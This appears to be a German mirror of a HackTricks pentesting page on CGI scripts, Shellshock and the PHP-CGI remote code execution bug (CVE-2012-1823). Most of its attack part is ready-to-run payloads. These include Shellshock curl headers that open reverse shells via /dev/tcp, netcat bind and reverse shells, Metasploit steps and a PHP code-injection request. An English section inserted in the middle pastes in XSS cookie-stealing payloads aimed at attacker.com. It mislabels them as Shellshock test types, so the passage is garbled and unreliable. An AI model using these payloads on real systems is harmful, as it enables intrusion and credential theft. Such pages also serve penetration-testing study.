mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 02:53:28 +00:00
142 lines
11 KiB
Markdown
142 lines
11 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
|
|
|
|
</details>
|
|
|
|
|
|
# Informationen
|
|
|
|
Die **CGI-Skripte sind Perl-Skripte**, daher können Sie, wenn Sie einen Server kompromittiert haben, der _**.cgi**_-Skripte ausführen kann, eine Perl-Reverse-Shell hochladen \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), die Erweiterung von **.pl** in **.cgi** ändern, **Ausführungsberechtigungen** vergeben \(`chmod +x`\) und die Reverse-Shell **über den Webbrowser** aufrufen, um sie auszuführen.
|
|
Um nach **CGI-Schwachstellen** zu suchen, wird empfohlen, `nikto -C all` \(und alle Plugins\) zu verwenden.
|
|
|
|
# **ShellShock**
|
|
|
|
**ShellShock** ist eine **Sicherheitslücke**, die die weit verbreitete **Bash**-Befehlszeilenshell in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash ab, von Anwendungen übergebene Befehle auszuführen. Die Sicherheitslücke liegt in der Manipulation von **Umgebungsvariablen**, die dynamische benannte Werte sind, die sich darauf auswirken, wie Prozesse auf einem Computer ausgeführt werden. Angreifer können dies ausnutzen, indem sie **bösartigen Code** an Umgebungsvariablen anhängen, der beim Empfang der Variable ausgeführt wird. Dadurch können Angreifer potenziell das System kompromittieren.
|
|
|
|
Bei der Ausnutzung dieser Sicherheitslücke könnte die **Seite einen Fehler anzeigen**.
|
|
|
|
Sie könnten diese Sicherheitslücke **feststellen**, indem Sie feststellen, dass eine **alte Apache-Version** und **cgi\_mod** \(mit cgi-Ordner\) verwendet wird oder indem Sie **nikto** verwenden.
|
|
|
|
## **Test**
|
|
|
|
Die meisten Tests basieren darauf, etwas auszugeben und zu erwarten, dass dieser String in der Webantwort zurückgegeben wird. Wenn Sie vermuten, dass eine Seite anfällig sein könnte, suchen Sie nach allen CGI-Seiten und testen Sie diese.
|
|
|
|
**Nmap**
|
|
```bash
|
|
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
|
```
|
|
## **Curl \(reflektiert, blind und out-of-band\)**
|
|
|
|
Curl is a command-line tool used for making HTTP requests. It can be used to test and exploit various vulnerabilities in web applications. In this section, we will explore three types of attacks using Curl: reflected, blind, and out-of-band attacks.
|
|
|
|
### **Reflected Attacks**
|
|
|
|
Reflected attacks occur when user input is directly included in the response of a web application. This can happen when the application does not properly sanitize or validate user input before including it in the response. To perform a reflected attack using Curl, you can use the following command:
|
|
|
|
```bash
|
|
curl "http://example.com/page?param=<script>alert('XSS')</script>"
|
|
```
|
|
|
|
In this command, the user input `<script>alert('XSS')</script>` is included in the `param` parameter of the URL. When the web application processes this request and includes the user input in the response, the JavaScript code will be executed, resulting in an XSS (Cross-Site Scripting) vulnerability.
|
|
|
|
### **Blind Attacks**
|
|
|
|
Blind attacks occur when user input is included in the response of a web application, but the response does not directly reveal the result of the attack. This can happen when the application processes the user input in the background and does not display the result to the user. To perform a blind attack using Curl, you can use the following command:
|
|
|
|
```bash
|
|
curl "http://example.com/page?param=<script>document.location='http://attacker.com/?cookie='+document.cookie</script>"
|
|
```
|
|
|
|
In this command, the user input `<script>document.location='http://attacker.com/?cookie='+document.cookie</script>` is included in the `param` parameter of the URL. When the web application processes this request, it will send the user's cookie to the attacker's website without the user's knowledge.
|
|
|
|
### **Out-of-Band Attacks**
|
|
|
|
Out-of-band attacks occur when user input is included in the response of a web application, and the attacker can receive the result of the attack through a different channel. This can happen when the application makes external requests or sends data to a different server. To perform an out-of-band attack using Curl, you can use the following command:
|
|
|
|
```bash
|
|
curl "http://example.com/page?param=<img src='http://attacker.com/collect.php?data='+document.cookie>"
|
|
```
|
|
|
|
In this command, the user input `<img src='http://attacker.com/collect.php?data='+document.cookie>` is included in the `param` parameter of the URL. When the web application processes this request, it will send the user's cookie to the attacker's server by loading the image from the attacker's website.
|
|
|
|
By understanding and exploiting these types of attacks, you can identify and mitigate vulnerabilities in web applications.
|
|
```bash
|
|
# Reflected
|
|
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
|
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
|
|
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
|
|
# Out-Of-Band Use Cookie as alternative to User-Agent
|
|
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
|
|
```
|
|
[**Shellsocker**](https://github.com/liamim/shellshocker)
|
|
```bash
|
|
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
|
```
|
|
## Ausnutzen
|
|
|
|
Exploits sind speziell entwickelte Angriffscodes oder Techniken, die Schwachstellen in einer Software oder einem System ausnutzen, um unautorisierten Zugriff zu erlangen oder bestimmte Aktionen auszuführen. Beim Pentesting werden Exploits verwendet, um Sicherheitslücken zu identifizieren und zu demonstrieren, wie ein Angreifer diese ausnutzen könnte.
|
|
|
|
Es gibt verschiedene Arten von Exploits, die in verschiedenen Szenarien eingesetzt werden können. Einige gängige Exploit-Typen sind:
|
|
|
|
- Pufferüberlauf: Diese Art von Exploit nutzt eine Schwachstelle in der Verarbeitung von Pufferdaten aus, um schädlichen Code einzuschleusen und auszuführen.
|
|
- SQL-Injection: Bei dieser Art von Exploit werden SQL-Befehle in eine Anwendung eingeschleust, um unautorisierten Zugriff auf die Datenbank zu erlangen oder Daten zu manipulieren.
|
|
- Remote-Code-Ausführung: Diese Art von Exploit ermöglicht es einem Angreifer, schädlichen Code auf einem entfernten System auszuführen und die Kontrolle über das System zu übernehmen.
|
|
- Cross-Site-Scripting (XSS): Bei dieser Art von Exploit wird schädlicher Code in eine Webseite eingeschleust, um Benutzerdaten zu stehlen oder bösartige Aktionen im Namen des Benutzers auszuführen.
|
|
|
|
Es ist wichtig zu beachten, dass Exploits nur in legalen und autorisierten Umgebungen eingesetzt werden sollten, wie z.B. während eines Pentests. Der unautorisierte Einsatz von Exploits kann zu rechtlichen Konsequenzen führen.
|
|
```bash
|
|
#Bind Shell
|
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
|
#Reverse shell
|
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
|
|
#Reverse shell using curl
|
|
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
|
|
#Reverse shell using metasploit
|
|
> use multi/http/apache_mod_cgi_bash_env_exec
|
|
> set targeturi /cgi-bin/admin.cgi
|
|
> set rhosts 10.1.2.11
|
|
> run
|
|
```
|
|
# **Proxy \(MitM für Webserver-Anfragen\)**
|
|
|
|
CGI erstellt eine Umgebungsvariable für jeden Header in der HTTP-Anfrage. Zum Beispiel wird "host:web.com" als "HTTP\_HOST"="web.com" erstellt.
|
|
|
|
Da die Variable HTTP\_PROXY vom Webserver verwendet werden kann, versuchen Sie, einen **Header** zu senden, der "**Proxy: <IP\_Angreifer>:<PORT>**" enthält. Wenn der Server während der Sitzung eine Anfrage durchführt, können Sie jede Anfrage erfassen, die vom Server gestellt wird.
|
|
|
|
# Altes PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
|
|
|
Grundsätzlich können Sie bei aktiver CGI und "altem" PHP \(<5.3.12 / < 5.4.2\) Code ausführen.
|
|
Um diese Schwachstelle auszunutzen, müssen Sie auf eine PHP-Datei des Webservers zugreifen, ohne Parameter zu senden \(insbesondere ohne das Zeichen "=" zu senden\).
|
|
Um diese Schwachstelle zu testen, können Sie beispielsweise auf `/index.php?-s` zugreifen \(beachten Sie das `-s`\), und der **Quellcode der Anwendung wird in der Antwort angezeigt**.
|
|
|
|
Um dann **RCE** zu erlangen, können Sie diese spezielle Abfrage senden: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` und den **PHP-Code**, der im **Body der Anfrage ausgeführt werden soll.
|
|
Beispiel:
|
|
```bash
|
|
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
|
```
|
|
**Weitere Informationen zur Schwachstelle und möglichen Exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Beispiel**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
|
|
|
|
</details>
|